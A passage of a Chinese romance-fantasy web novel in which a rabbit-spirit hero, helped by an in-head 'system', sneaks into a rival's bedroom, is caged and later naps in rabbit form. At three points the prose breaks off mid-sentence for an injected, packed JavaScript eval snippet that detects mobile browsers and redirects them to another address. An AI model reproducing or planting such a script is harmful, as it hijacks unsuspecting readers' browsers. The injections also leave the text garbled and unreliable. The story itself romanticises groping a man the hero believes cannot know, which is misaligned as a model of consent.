可迟与非身上穿的这件衬衫就刚刚好,大概能让他撑过好几天的发情期和假孕期。 [反正他醉倒了,我脱了他的衣服,他也只会觉得是他自己脱掉的……]谭欢觉得很可行。 系统想了想,也觉得没什么大问题,便不催促谭欢了。 谭欢观察了一下迟与非的衬衫,手伸向迟与非的领带。 卧室里没开灯,本来就黑,谭欢还戴着大墨镜,根本看不清领带结,领带被他越解越紧。 他摘下墨镜,凑近一些,指尖探入领带和迟与非的皮肤之间。 迟与非轻轻动了一下,头转向谭欢这边,谭欢吓得屏住呼吸,半晌没敢动。 圣星没有西装,更没有领带,谭欢完全不会解这个东西。 他怕还没做剧情任务就吵醒迟与非,干脆使用了时间暂停。 “哒哒哒”的指针摇摆声消失了。 谭欢一改之前的小心翼翼,爬上床,跪在迟与非身边去扯他的领带。 领带被他扯得卡在迟与非的喉结边,系统都怕谭欢把迟与非勒死。 谭欢有点烦躁,一条腿跨过迟与非,跪在迟与非身上,毫不客气地撑着迟与非的胸膛,仔细研究那条领带。 迟与非的床品昂贵,布料细滑,谭欢穿的紧身衣布料也很滑,膝盖跪在床上不受力,谭欢刚把领带结拆松,膝盖侧滑,身体失衡,他重重坐在了迟与非的胯骨间,微张的唇撞到了迟与非的下巴。 “啊!我的牙!”谭欢坐在迟与非身上捂住自己撞疼的嘴巴。 系统:[宿主!你还好吧?] 谭欢松手,“没事没事,就是迟与非的下巴好硬啊。” 谭欢重新扯住迟与非的领带,屁股往下蹭了蹭,干脆趴在迟与非身上解领带。 他离得特别近,呼吸轻洒在迟与非的颈项间,指尖不时划过迟与非的皮肤,还嫌弃地拨动迟与非的喉结。 他太过专注,完全没注意到迟与非放在身侧的手用力抓紧了床单。 终于解开领带,谭欢懒得一颗颗解扣子,双手用力扯开迟与非的衬衫,扣子崩得到处都是。 迟与非锻炼完美的饱满胸膛和八块腹肌露出来,冷白的皮肤配着充满爆发力的身材有种隐秘的禁欲感,属于迟与非的气息没有隔阂的传递出来。 谭欢的黑眸慢慢染红,他被紧身衣束缚的兔尾巴顽强地抖了抖。 “系统,我可以贴贴他吗?我想要一个能够持续时间长一些的安抚。” 系统:[额……也不是不行,反正时间暂停了。] 谭欢的胸膛一点点贴上迟与非,和迟与非的胸膛紧密贴合,他彻底变红的眸子里满是不自觉的渴望。 “是啊,反正他不会知道,在剩下的几分钟里,我怎么用他都行。” 13.最好的捏捏 嘴巴上特别豪放的谭欢,趴在迟与非身上红透脸颊,迟迟没有下一个动作。 迟与非的皮肤和他的肤色一样凉凉的,对身体高热的谭欢来说是最好的冰凉贴,他趴了快一分钟,终于小心翼翼地将脸颊贴上去。 热乎乎的脸颊在柔韧微凉的胸膛上轻蹭,谭欢小声评价:“好舒服!比水枕还舒服!” 每一次呼吸间都是迟与非的气息,谭欢体内翻滚的热河波浪暂缓,他轻呼,以为能得到一次维持时间长久的安抚,撑着迟与非的胸膛想起来,双臂一软又趴了回来。 体内的热河掀起惊涛骇浪,一直被谭欢用冰块浴粗暴压制、饮鸩止渴的发情期潮热迎来了一波剧烈反噬,谭欢四肢发软,一时无法从迟与非身上爬起来。 他从18岁开始出现发情期,一直靠他父亲的咒法压制,还从没有这么难受过,谭欢完全没有靠自己压制发情期的经验,但他知道能够安抚他的人就在面前。 他自暴自弃地抱住迟与非的腰,指尖掌心放肆地贴上迟与非的皮肤,顺着腹肌分明的线条摸索,脑门顶着迟与非的颈窝用力蹭,蹭掉了头顶裹着的黑布,露出一对同样热乎乎的小兔耳朵。 “反正迟与非不知道……”谭欢不停呢喃给自己打气,小兔耳朵用力蹭迟与非的颈项和下巴,蹭出了静电也不停。 室内很黑,兔毛上的静电火花噼里啪啦,谭欢越蹭越快越抱越紧,身体里的热度不减反增。 “好热啊。”他撅起屁股往上拱,仗着时间暂停完全不把迟与非当活物。 “系统,迟与非就不能是个小熊玩偶吗?这样我就可以把他放在我的床上了。”谭欢想到他从气球摊赢来的几只毛绒玩具熊,听话又乖巧,怎么抱都不会反抗。 他换了个姿势,侧躺在迟与非的胸膛上,仰头看迟与非的下巴,不停揪自己兔耳朵上的茸毛往迟与非身上塞。 迟与非的衬衫被他扯开了,他就用细白的指尖顶着一团小绒毛挤进迟与非的裤腰,顺着迟与非的人鱼线藏进去。 迟与非双眸紧闭,面容沉静,身侧的手却用力攥紧床单,手背浮现淡淡的青筋。 潮热让谭欢舍不得离开迟与非,他闭上眼睛,甚至想趴在迟与非身上睡一觉。 系统提醒:“宿主,时间暂停快结束了,不能再躺下去了!” 谭欢呜呜咽咽地爬起来,放肆使用迟与非后,他的发情期潮热却越来越严重,小肚子鼓鼓胀胀,浑身上下哪里都不舒服。 他越想越气,撑着迟与非胸膛的手用力捏了两把,迟与非锻炼饱满充满韧性的胸肌抓起来手感很好,很适合做发泄玩具。 谭欢两只手一起捏上去,捏得有点上瘾。 自从来到这个世界,谭欢没少刷短视频,他经常刷到一些玩捏捏的视频,视频里的捏捏什么模样都有,谭欢一直想买一些来玩,此时却发现迟与非的胸就是最好的捏捏。 他越捏越用力,心底的烦躁被安抚下去一些,但还是很生气。 “都怪你,要不是你我也不会假孕!” 谭欢拍了一下迟与非的胸膛,冷白的皮肤上留下一点红印,谭欢眼睛一亮,左右手开弓,噼里啪啦地拍了一顿,把迟与非的胸膛拍得红红粉粉,累得自己直喘气。 系统催促:“宿主,快点快点,来不及了!” 谭欢赶紧把迟与非身上的衬衫扯下来塞进大麻袋,拽了拽头上的黑布,塞好兔耳朵,捡起墨镜戴上,又从口袋里扯出一块黑布系在脸前,打扮得像个大盗。 他拿出假刀,忍着难受重新跪在迟与非上方,举起假刀,将刀尖靠近迟与非,在座钟的钟摆重新摇摆后,大声喊道: “迟与非!我让你天天缠着洛辰!我这就划花你的脸!让你以后再也没办法出现在洛辰面前!我看你以后怎么耀武扬威!” 谭欢喊得字正腔圆,生怕声音不够大迟与非不醒。 迟与非睁开眼,眸光清明没有一丝醉意。 谭欢以为迟与非会生气、愤怒,会对他破口大骂,不想迟与非第一件事是打开床头灯。 昏黄的灯光亮起,谭欢看清了迟与非的眼神,很平静,黑漆漆的,平静得有点吓人。 [系统,迟与非的眼睛好黑啊,怪渗人的。] 系统想翻白眼:[宿主,你还戴着大墨镜,当然黑啦!] 谭欢摘下墨镜,迟与非的眼睛还是很黑。 迟与非只是看着谭欢,不反抗也不说话,这让谭欢不知道怎么演下去了。 [他怎么没反应啊?是不是吓傻了?我要怎么做?难道真划他一下?可我这是假刀啊,真划该露馅了!] 谭欢不知所措,没有开刃的刀尖缓缓靠近,迟与非眼睛都不眨地看着他,眸中没有丝毫情绪波动。 “我、我要划了。” 迟与非没反应。 “我真的要划了!” 迟与非还是没反应。 谭欢握刀的手高高举起,轻轻落下,用刀背拍迟与非的脸,急得口不择言: “你以后不许再勾引洛辰,知道吗?要是让我看到你再靠近洛辰,我一定要你好看!” “迟与非,你给点反应啊!” 迟与非终于给了反应,他骤然攥住谭欢的手腕用力一捏,谭欢吃痛,手里的刀子掉在床上,视野天旋地转,他变成了躺在床上的那一个,迟与非跨在他上方,一手攥住他两只手高举在头顶。 “这个反应够吗?” 谭欢缓缓眨了眨眼睛,他被吓到了,有点呆。 “够、够了……” 系统在谭欢脑海里欢呼:[好了好了,宿主,你的剧情走完了,等迟与非把你扔出去,我们就能获得恨意值啦!] 谭欢放松,等着迟与非把他扔出去。 两个人一上一下在灯光里对视,谭欢眨眨眼睛,迟与非低下了头,谭欢又眨眨眼睛,迟与非将手伸入枕头底下。 谭欢再眨眨眼,一把折叠刀甩出刀锋,抵上他的喉咙,锋利的刀刃瞬间将他颈间的布料破开一道口子。 谭欢不敢呼吸了。 迟与非额前碎发垂落,谭欢隐约看到迟与非左侧眉毛上露出的疤痕一角,那里的皮肤起伏狰狞,看着像烧伤。 迟与非注意到谭欢的视线,勾唇笑了一下。 “我觉得不够。” 什么不够?谭欢只敢眨眼睛,刀尖就悬在喉咙上,他不敢说话。 迟与非不笑还好,一笑谭欢就发毛,那个笑容和迟与非黑漆漆的眼睛一样渗人。 “对付小偷,我喜欢粗暴一点。”刀尖下移,从脖颈划到胸口,轻易割破谭欢身上的紧身衣,充满弹性的布料弹开,露出里面一片白腻的柔软皮肤。 “比如开膛破肚、挖心剖肝。” 谭欢:“……” [啊啊啊啊啊!系统!救命啊!迟与非好像没认出来我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096392|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!他不会把我当成普通小偷了吧?怎么办怎么办怎么办!] 系统:[宿主你快表明身份啊!谁让你非要戴黑布的!你快说你是谭欢!迟与非看在谭家的面子上不会拿你怎么办的!] 谭欢立刻大喊:“迟与非!我不是小偷!我是……” 迟与非捂住了谭欢的嘴,不让他说话。 谭欢着急,他隔着黑布用力咬迟与非的手,在迟与非松手之际转头在枕头上蹭掉黑布,“我是谭……” 迟与非扔开刀,抓过一旁的领带,团起来塞进谭欢的嘴巴里。 “唔唔唔!”谭欢这回彻底不能说话了,嘴巴被大团领带撑开,只能哼哼,深色的领带布料慢慢被氤湿。 他本就因发情期和假孕反应难受,身体又烫又无力,挣扎几下已满身汗水,发尾黏在脖颈上,汗珠在露出的胸口汇成细小的水流。 系统疯狂警报:[危险!危险!宿主!完蛋啦!迟与非好像是故意的!这样他就能假装不知道是你,把你当成普通小偷折磨!] 谭欢脑中尖叫:[迟与非果然是个大变态!!!] 迟与非指尖勾住谭欢头顶的黑布,将谭欢脸上的惊慌尽收眼底。 “让我看看你藏了什么秘密。” 不行!!! 谭欢鲤鱼打挺,他不能坐以待毙,他现在是兔子精血脉,他可以蓄力爆发一次,只要能摆脱迟与非一瞬,他就能逃! 谭欢深呼吸,突然用脑门重重撞击迟与非的下巴,将双腿蜷缩在身前,双脚踩住迟与非的胸口用力一蹬,踹开迟与非后连滚带爬地跑出卧室,还不忘拽走他的大麻袋。 迟与非胸口又红又紫,除了被谭欢捏红、拍红的手指印,又多了一片青紫的脚印,还粘了很多兔毛。 这是迟与非第二次被谭欢踹胸口了。 迟与非黑着脸站起来,捡起折叠刀,走进衣帽间,看到几乎被搬空的衣帽间,没忍住嗤笑一声。 他从角落扯出一件新衬衫穿上,慢条斯理地系上扣子,走出卧室。 别墅长廊一片漆黑,隐约能听到谭欢凌乱的脚步声,他已经跑下楼了。 迟与非拎着刀柄,看着手机上的监控,轻笑着倒数: “三。” “二。” “一。” 他在手机上按了一下。 已经跑到一楼大厅的谭欢看着近在咫尺的大门面露狂喜,突然一阵齿轮转动的声音传来,一个铁笼子从天而降,将谭欢精准地罩在里面。 前后左右全无出路,谭欢扔下大麻袋抓着笼子用力晃动,铁笼纹丝不动。 “当当当——” 有节奏的金属敲击声传来,谭欢瞪圆眼睛,缓缓回头。 迟与非从楼梯慢慢走下来,拎着的刀尖一下下磕着楼梯栏杆,发出“当当当”的声音。 一场挣扎对谭欢的消耗巨大,谭欢力气耗尽,发情期潮热和假孕反应彻底压不住了,身体热烫,不只小肚子,连胸口都弥漫起鼓胀感。 [系统……快想想办法啊……] 系统自顾不暇:[警告!警告!宿主体温过高!系统高温过载即将关机——警告!警告!系统即将关机——滋。] 系统再没有发出一点声音。 谭欢瞳孔里映出迟与非慢慢靠近的身影,他双腿一软,摔在装满迟与非衣服的大麻袋上。 完蛋了,这次真的要死兔了! 14.小兔子 谭欢一倒,撞到笼子,响起一阵清脆的叮铃声。 他这才注意到关住他的铁笼子非同一般的骚气,笼子是竖起来的长方形,整体是骚粉色的,栏杆上缠满粉色绒布,上面垂挂着无数蕾丝布条和小铃铛,侧边有一扇窄门,门上挂了十把同样是粉色的心形锁。 谭欢摔倒后笼子里就没什么空间了,他总是能碰到那些小铃铛,叮铃声不断。 面不改色了一夜的迟与非在看清粉笼子后神情终于出现一丝裂痕,眉头微微皱起。 他显然没有想到能干的千万秘书会突然搞出这么大一个乌龙,千万秘书也不知道他只是按照老板的要求下单,兔笼工厂的老板却理解错了,将单子转交给了情趣用品公司,而安装工人拿钱办事,最后迟与非就获得了这么一个骚气的兔笼。 谭欢现在的身体就是一壶烧热的水,他需要降温,却无法自己从火苗上下去。 大麻袋里迟与非的衣服散了出来,谭欢坐在衣服上,努力想站起来,几次都不行,铁笼上垂下的小铃铛一直蹭到他的额头、脸颊,谭欢烦躁地用手拍开,越拍铃铛越响。 谭欢皮肤透粉,头顶的黑布歪了一点,毛茸茸的兔耳朵露出半截,他正一点点往外扯嘴巴里的领带,一边扯一边气鼓鼓地盯着迟与非。 深色领带从殷红唇瓣间缓缓扯出的场面淫靡又禁忌,领带染上一块块水渍,最后掉在地上,只剩一角还不舍地贴着谭欢的唇。 迟与非微皱的眉松缓,黯淡的眸中揉进一缕光,像无趣的人发现新玩具。 本该看着碍眼丑陋的笼子因为关住了一只漂亮的小兔子也跟着身价暴涨,不再惹人厌了。 千万秘书丝毫不知道他的年终奖差点与他失之交臂。 迟与非走过去,折叠刀在他指尖灵活翻转,他用刀尖挑开粘在谭欢唇边的领带。 谭欢热得大脑晕眩,身体深处的火苗舔舐着他的每一个细胞,骚动着他的每一根神经,由内向外的麻痒让他只能蜷缩在迟与非的衣服里,仅剩的理智让他还没忘记自己恶毒男配的人设和现在的处境。 他努力挺起胸膛,瘦弱的腰肢摇摆,他抓着铁栏稳住自己,软绵绵地放狠话: “迟与非……瞪大你的狗眼看清楚,我是谭欢!你最好立刻放我离开,不然我爸妈和我大哥不会放过你的!” 迟与非不为所动,刀尖挑起谭欢的下巴,他拿刀的手上还有谭欢留下的牙印。 “这么大了还只会找家长告状,你是未成年吗?” 谭欢躲开刀尖,不满皱眉,黑眸早已变成兔子红眸,湿漉漉的像浸泡在水里的红宝石。 “你才未成年,我二十岁了,我早就成年了!” 提到年龄谭欢有点小骄傲,二十岁是可以竞争王位的年龄了! 他再次挺直自己酥麻柔软的腰肢。 “哦。”迟与非收起尖刀,表情平平。 这和谭欢以为的不一样,迟与非既没有被他的狠话吓到,也没有要放他走的打算。 谭欢越来越慌,脊背弓起,蜷缩在铺满迟与非衣服的铁笼里,拍了拍自己快成糨糊的脑袋,将领口紧身衣的破口扯大,企图降下一点热度。 身体的反应让他羞耻,他双腿并拢,扯过一件迟与非的衣服盖在腿上,又忍不住把迟与非的衣服夹在腿间拧成麻花。 他意识到说狠话对迟与非没用,再不逃离他会在迟与非面前失去尊严,谭欢将手伸出铁栏缝隙,潮热的指尖轻轻搭上迟与非的手腕,打算硬的不行来软的,先跑了再说,君兔报仇十年不晚。 他抬眸可怜兮兮地看着迟与非,轻声求饶:“迟与非,我求求你了,你就放我走吧。” 迟与非神情沉冷,如最无情的观察者,生来便没有人类的情绪。 谭欢见此,犹豫着将迟与非的手拽向自己,忐忑不安地凑过去,轻轻吹了吹上面自己留下的牙印。 “放我走吧,好不好?” 热乎乎的呼吸喷洒在迟与非的手背,迟与非指尖轻动,一把抽回手,还后退了一大步,仿佛谭欢是什么洪水猛兽。 谭欢又气又羞恼,本性毕露,凶巴巴地瞪着迟与非怒斥:“迟与非!我讨厌你!我讨厌你!我最讨厌你了!” 可发情期和假孕期的负面影响让谭欢的凶狠变成虚张声势,他跪坐在粉红色的笼子里,越凶越让人想侵犯他、折辱他,看他还会露出什么样的神情。 迟与非终于给出了反应,声音像淬着冰:“想要我死的人很多,区区讨厌而已。” 他说得毫不在意,眸中的黑却在谭欢的每一声“讨厌”里更沉一分。 迟与非第一次觉得“讨厌”这两个字这么刺耳。 谭欢说了一会儿就没力气了,大脑里仅存的理智剥离干净,他靠着铁笼,指尖攥紧迟与非的衣服,迷迷糊糊以为自己回到了圣星,回到了他那座冷清的、鲜少有人来的王子宫殿。 他是一个血脉驳杂、不受待见的王子,他总是得不到认可,也没什么朋友。 他想尽办法讨人喜欢,可却总是和别人的距离越来越远。 后来他扬起下巴,永远都挺胸抬头,他维持着王子的矜贵和高傲,不奢求认可和朋友。 反正他是王子,他只需要命令就好了。 再讨厌他的人也要听从他的命令。 谭欢抓着迟与非被他弄皱的衣服揉了揉眼睛,又扔开了那些衣服。 他撑着兔笼一点点站起来,努力站直身体,伸出手,勾住了迟与非的袖口。 他满脸绯红,半敛凤眸,抬高下巴,轻蔑又矜贵地看着迟与非,他挂起虚假的高傲,深藏满心的自卑,轻声地、一字一顿地下命令。 “迟与非,我命令你安抚我。” 认可、友情、朋友……他都不需要。 如果王子的命令不够,他就夺得王位。 当了王,谁都不能拒绝他。 迟与非低头,看着谭欢面上摇摇欲坠的高傲,看着他浸在情欲里,即将淹死在里面。 他厌恶谭欢,厌恶这个分不清情势、看不清真相的蠢兔子,这只蠢兔子甚至连自己的情敌是谁都不知道,张牙舞爪地挥舞着没有利刃的爪子,只会给人惹麻烦、添乱子,还很自以为是。 这只令人厌恶的蠢兔子正挂起一戳就破的骄矜命令他,他站得摇摇晃晃,泪水盈满眼眶,泡在眼泪里的红眸溢满了不自知的可怜,迟与非轻易就能撕烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101796|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的高傲,摧毁他的骄矜。 迟与非喜欢破坏、喜欢毁灭,他的生命里不存在纵容、理解,也不该有爱恨和欲。 他顺着谭欢的力道走近,胸腔翻涌起浓重的毁灭欲。 毁了这只蠢兔子,撕烂他虚假的高傲,彻底处理掉他,让他被搅乱的生活恢复平静。 谭欢不知道自己正命令一只恶魔,他指尖顺着迟与非的袖口向下,轻轻勾住迟与非的手指,将迟与非的手拉向自己,放到自己脆弱的颈项上。 他快站不住了,他需要安抚,他需要立刻缓解这该死的发情期。 迟与非的指尖碰到了谭欢的锁骨,迟与非的温度让谭欢舒服地轻叹。 那指尖若即若离,谭欢很不满意。 他握着迟与非的手腕,甚至想把迟与非的手塞进自己的衣服里。 迟与非突然动了,他指尖用力按压谭欢的锁骨,顺着他清晰的锁骨线条重重揉压,在本就泛着粉色的皮肤上留下无法忽视的深红。 大力的抚触是最佳的安抚。 谭欢顺着兔笼滑坐在衣服堆上 ,迟与非仍站着,指尖离开他的锁骨,停在他的头顶,又用力隔着黑布揉捏谭欢的兔耳朵。 绵软的兔耳朵像面团一样被大力挤压又骤然释放。 谭欢突然低头咬住迟与非的衣服,呜呜咽咽的声音压抑在喉咙间,泪珠一颗颗滚落,这场一直被粗暴抑制的发情期终于得到了第一次发泄。 “咣。” 有什么东西掉在地上,迟与非转身上楼,背影消失。 谭欢蜷缩在迟与非的衣服堆里,红眸有些失焦,身体的热度正慢慢降低。 刚刚发生的一切变得朦胧,像隔了层纱。 等谭欢找回意识,第一眼就看到了掉在地上的钥匙。 他来不及细想,只知道自己的兔子精身份幸运地没有暴露,迟与非还不小心掉了钥匙,现在是他逃跑的最佳时机! 他捡起笼子边的钥匙,打开十把锁,踉踉跄跄地往出跑。 别墅的门重新关上,站在上半截楼梯处,藏在黑暗里的迟与非走下来。 他站到空荡的兔笼前,看着里面被扔下的衣服。 那全都是他的衣服,如今已充满褶皱和隐秘的湿痕。 他盯着那片湿痕,突然踢飞地上被用过就丢的钥匙。 愚蠢是会传染的,迟与非被谭欢传染,没有在最合适的时机毁掉谭欢,而是帮谭欢维持了他岌岌可危的高傲。 踢飞钥匙,迟与非已恢复平日的死水模样。 他拿起手机看别墅外大门的监控,迟迟没见到谭欢的身影。 迟与非调动画面,终于在草坪上看到一团黑乎乎的紧身衣,紧身衣扁扁的堆在地上,人却不见了。 迟与非走向草坪,在车轮印压出来的兔子头图案中央,从紧身衣里拎起一只睡熟的小兔子。 小兔子毛茸茸软绵绵,被拎起来后四肢毫无防备的垂着,像一张软塌塌的小毛毯。 迟与非晃了晃手,小兔子的身体也晃了晃,兔耳朵垂下来贴着小兔脸,丝毫没有清醒。 迟与非第一次这么无语。 “蠢死了,放你跑都跑不掉。” 15.小兔子乖乖 谭欢的兔子原形很小,迟与非一只手就能托住,他戳了戳谭欢的小兔脸,谭欢脑瓜一歪,枕着迟与非的大拇指继续呼呼大睡,他看起来累坏了,两条后腿分别蹬着迟与非的小指和中指,丝毫不知道自己已经被人抓住了。 手里的触感太软,似乎握个拳就能把谭欢捏死,迟与非僵在原地,等谭欢睡得翻了个身露出肚皮才挪动脚步,重新回到别墅。 别墅大厅一片狼藉,兔笼里扔满衣服无人打理。 迟与非无视一切,托着掌心的兔子上楼,回到主卧。 他将谭欢放在沙发上,思考如何处理这只毫无防备的兔子。 离开迟与非掌心的小兔子变得很不安,身体开始轻轻颤抖,脑袋在沙发背上磨蹭,似在寻找刚刚躺过的掌心。 迟与非指尖动了动,忍住重新把谭欢抓进手里的冲动,走进浴室洗澡。 等他带着一身冰冷的水汽出来,沙发上的小兔子已经挤进了沙发缝隙里,只剩个毛茸茸的小屁股露在外面,缩成一团的兔尾巴抖动不停,他还在发抖。 迟与非蹲在沙发前,盯着那团抖成筛糠的小兔屁股看了会儿,伸手戳了戳。 指尖陷入软绵绵的茸毛里,兔毛表面被戳出个小坑,迟与非又戳了好几下。 小兔子没醒,却下意识从沙发缝里滚出来,用两只小爪子抱住迟与非的指尖,小兔脸轻柔地贴上去,身体慢慢不抖了。 哪怕变成兔子原形,谭欢依旧被迟与非这个始作俑者的气息吸引。 迟与非有很多与大型野兽相处的经验,他知道如何在饥饿的群兽环伺下保持警惕和凶狠。 但他没有和小动物相处的经验,他只见过野兽如何撕碎、吞吃小动物。 小动物的生命脆弱又短暂,毫无自保能力,迟与非讨厌这样弱小的生命。 眼前这只兔子,比迟与非见过的任何动物都弱小、脆弱,浑身柔软,却毫无防备地依赖他。 明明谭欢当人的时候那么讨厌他。 迟与非抽出被谭欢抱着的手指,又坏心眼地把谭欢推开,兔子小小的身体被推得滚了一圈,头下脚上地靠着沙发椅背,依旧睡得很死。 “兔子不能上床,今晚你就睡在这里。” 迟与非关灯上床,准备结束这个混乱的夜晚。 他是工作狂,每日高强度的工作需要高质量的睡眠补充体力,迟与非从不允许有人打扰他的睡眠。 哪怕今夜情况糟糕也不能影响他睡觉。 他在床上平躺,呼吸逐渐平稳。 十分钟后,沙发上传来哼哼唧唧的声音,软软的、闷闷的,是那只蠢兔子的声音。 迟与非闭着眼微微一笑,只是一点噪声罢了,这并不能影响他入睡的决心,一切尽在掌控中。 他无视了哼哼唧唧的谭欢。 又十分钟后,一声轻微闷响传来,小兔子哼哼唧唧的声音不闷了,又响亮又委屈。 迟与非在黑暗中缓缓睁开眼睛,眼里满是烦躁。 他打开床头灯,走到沙发旁,面无表情地看着地上的一小团白色。 折腾了一夜的谭欢真的累坏了,睡着了还一直哭,哭湿了眼睛周围的毛毛,茸毛一缕一缕地黏在一起,小兔脸特别狼狈,一边哭一边在沙发上到处拱,想找个有安全感的地方,最后掉到地上也没醒。 不仅没醒,还哭得更大声了,小身子一抽一抽的,像要哭断气了。 “别哭了。” 迟与非轻轻踢了下谭欢圆鼓鼓、毛茸茸的小屁股,谭欢脑袋顶着沙发脚,努力蜷缩起来,看着越来越小,哭声却不小,哭得迟与非收回了想踢第二下的脚。 他从地上拎起谭欢扔回沙发,粗鲁地用手指擦了擦湿漉漉的小兔脸,又警告了一次。 “不许再哭了。” 谭欢紧闭着眼睛,粉红色的小鼻子耸了耸,嗅到迟与非的气息,小兔脸靠过去,依恋的轻轻贴上迟与非的手指,两只小短爪也抱上去,哼唧声立刻停了。 迟与非皱眉,黑眸紧盯蜷缩在他掌心又软又热的小身体,指尖还沾着谭欢的眼泪。 泪水早已冰凉,迟与非却被烫到般抽手,任由小兔子滚回沙发,闭着眼睛像个小推土机似的到处拱,找不到熟悉安心的气息又开始哼哼唧唧。 迟与非微微皱眉,神情严肃:“兔子不能上床,你会掉毛。” 谭欢:“呜叽呜叽呜叽……” 迟与非后退。 “哭没有用,我不喜欢小动物,特别是带毛的。” 谭欢:“呜嗷呜嗷呜嗷……” 一只大手突然抓住小兔团子扔到床上,迟与非重新躺下关灯,闭上眼睛。 “好了,你赢了,不许再哭了。” 谭欢小身体扭扭,顺着枕头拱上去,贴上迟与非的脸。 迟与非侧头躲开,谭欢继续靠近。 迟与非转身背对谭欢,谭欢将脑袋顶着迟与非的后颈,用自己的小兔耳朵蹭来蹭去。 迟与非不动了,任由后颈贴着一只热乎乎的小毛团。 卧室终于恢复安静,迟与非呼吸平稳,慢慢进入睡眠。 安静了一会儿的小兔子又开始不安静了。 小小的毛团子不满足只贴着令他安心的气息,他又开始拱了。 他顺着迟与非的脖子爬过去,拱进迟与非的衣领,陷入饱满的胸肌,在迟与非的体温和气息里打滚,把自己全身的毛蹭得乱七八糟,蹭得静电噼啪。 迟与非依旧呼吸平稳,只是眉头蹙了一下。 谭欢睡得不老实,但睡得很熟。 他做梦了,梦到小时候,他变回兔子原形,窝在他父亲为他准备的超大号毛绒兔玩偶里。 他的妈妈是纯正的爱欲天使,不会照顾变成兔子原形的谭欢,而他父亲虽然也能变成兔子,却整日忙着勾引他的妈妈,做不到每天花大量时间陪他。 小兔子时期的谭欢只能长时间和毛绒兔玩偶待在一起,他和兔玩偶一起度过了他的长牙期,因为天性忍不住用兔玩偶磨牙,又会在不小心咬破兔玩偶后偷偷哭泣。 好在兔玩偶不会生他的气,也不会扔下他。 那只兔玩偶至今放在谭欢的宫殿里,被谭欢好好保护着,如今布料陈旧、茸毛稀疏,谭欢也不舍得丢掉。 那是小兔子谭欢的安全感来源。 此时谭欢找到了新的安全感来源,比兔玩偶更热更烫,躺起来更舒服,就是没有毛还有点硬邦邦。 谭欢打了几个滚,小兔嘴磨了磨,想磨牙了。 他到处拱了拱,小兔脸碰到一处硌到他的东西,张嘴就咬了上去。 冷静、理智,从十几岁开始就不再因为任何事情失控的迟与非,在成年多年后的今天,疯了一样从床上弹起来,蹦出了响亮的脏字。 “草!!!!!” “谭欢!!!!!” 迟与非扯烂自己的衣襟,抓住挂在他胸口的小兔子,脸色阴沉又难看,手指圈住小兔子脆弱的脖颈,冷声威胁: “松嘴!” 迟与非的威胁怼到了一团棉花上。 谭欢根本没有醒,他叼着迟与非一侧胸口,四肢软绵绵地垂着,小兔耳朵向后贴着脑袋,毛茸茸的小脸上露出了人性化的幸福。 他不哭了也不闹了,兔子嘴紧紧闭着,嘬个不停。 迟与非手背暴起青筋,很想直接掐断谭欢纤细的兔脖子。 谭欢被迟与非攥在手里,依旧软绵绵热乎乎,没有一丝防备,他完全不知道自己差点被迟与非攥成肉饼。 迟与非额角的青筋突突直跳,他扭曲的扯起嘴角,语气轻缓又阴沉地哄着这只胆大包天的兔子。 “小兔子乖乖,把嘴张开。” 迟与非用手指揉了揉谭欢的兔头,揉得有些用力,揉得谭欢两只兔耳朵内侧的皮肤越来越红。 谭欢终于松开嘴,两只前爪张开,用力抱住迟与非的胸肌,很霸道的样子,嘴边的兔毛沾着一点红,他把迟与非那里咬破皮了。 迟与非将谭欢扔回床上,深呼吸几次,转身走出卧室,进入黑暗的地下室,彻底放弃了今晚的睡眠。 谭欢一个人独占一张大床,拱进满是迟与非气息的被子里,睡得舒服又自在。 直到他睡够了睡饱了,在一阵香味中缓缓睁开眼睛。 [好香啊,好像是炖肉的调料味。] 谭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115002|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢意识慢慢清醒,一道播音腔清晰地传入耳中。 “高级的食材往往只需要最简单的烹饪,今天我就教大家怎么做一道美味的红烧兔肉……” [原来是要炖兔子啊……] 谭欢迷迷糊糊地想着,突然一个鲤鱼打挺,没坐起来,又倒了回去。 他终于看清了眼前的情景。 他变成了兔子原型,被一条领带绑成木乃兔扔在料理台上,浑身上下只有兔头能动,在他旁边放着一个平板,上面播放着炖兔子的视频。 谭欢扭来扭去,看到了厨房另一边。 迟与非站在咕嘟咕嘟的热锅旁打电话,黑眸却看着他这里。 谭欢大脑飞速转动,无数想法在小小的兔脑里旋转。 [我怎么变成原形了!迟与非是不是知道我是兔子了?他在干嘛?] [他为什么那么看着我?好像我是一盘菜!] [他不会要炖了我吧?不能吧?] 迟与非看到熟睡的兔子终于醒了,他满意地在那张毛茸茸的兔脸上看到了惊恐。 他往热锅里扔了几块生姜,对着电话淡淡说道: 